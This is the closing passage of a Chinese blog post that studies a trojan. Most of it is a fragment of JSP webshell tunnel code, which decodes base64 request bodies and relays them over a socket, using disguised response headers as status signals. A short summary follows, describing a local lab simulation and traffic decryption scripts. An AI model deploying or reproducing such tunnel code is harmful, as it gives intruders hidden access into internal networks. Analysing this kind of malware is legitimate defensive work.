                InputStream in = request.getInputStream();                while ( true ){
                    byte[] buff = new byte[in.available()];                    if (in.read(buff) == -1)                        break;
                    inputData  = new String(buff);
                }
                byte[] base64 = b64de(inputData);
                ByteBuffer buf = ByteBuffer.allocate(base64.length);
                buf.put(base64);
                buf.flip();                while(buf.hasRemaining())
                    socketChannel.write(buf);

                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");

            } catch (Exception e) {
                response.setHeader("Die", "QmPrA86mT15");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                socketChannel.socket().close();
            }
        }
    } else {
        out.write("");
    }
%&gt;

0x04 小总结

本篇我们将木马的侵入流程做了大致的模拟,在本地搭建了环境,并且编写了加解密的脚本,能够暂时的为我们的流量包进行加解密,也简单的分析了一些代码,在下一篇中,将会对每一个功能进行细致的编写。

由于篇幅太长,暂时分为两篇,wait(二)

分享给第一个想到的人

0 人点赞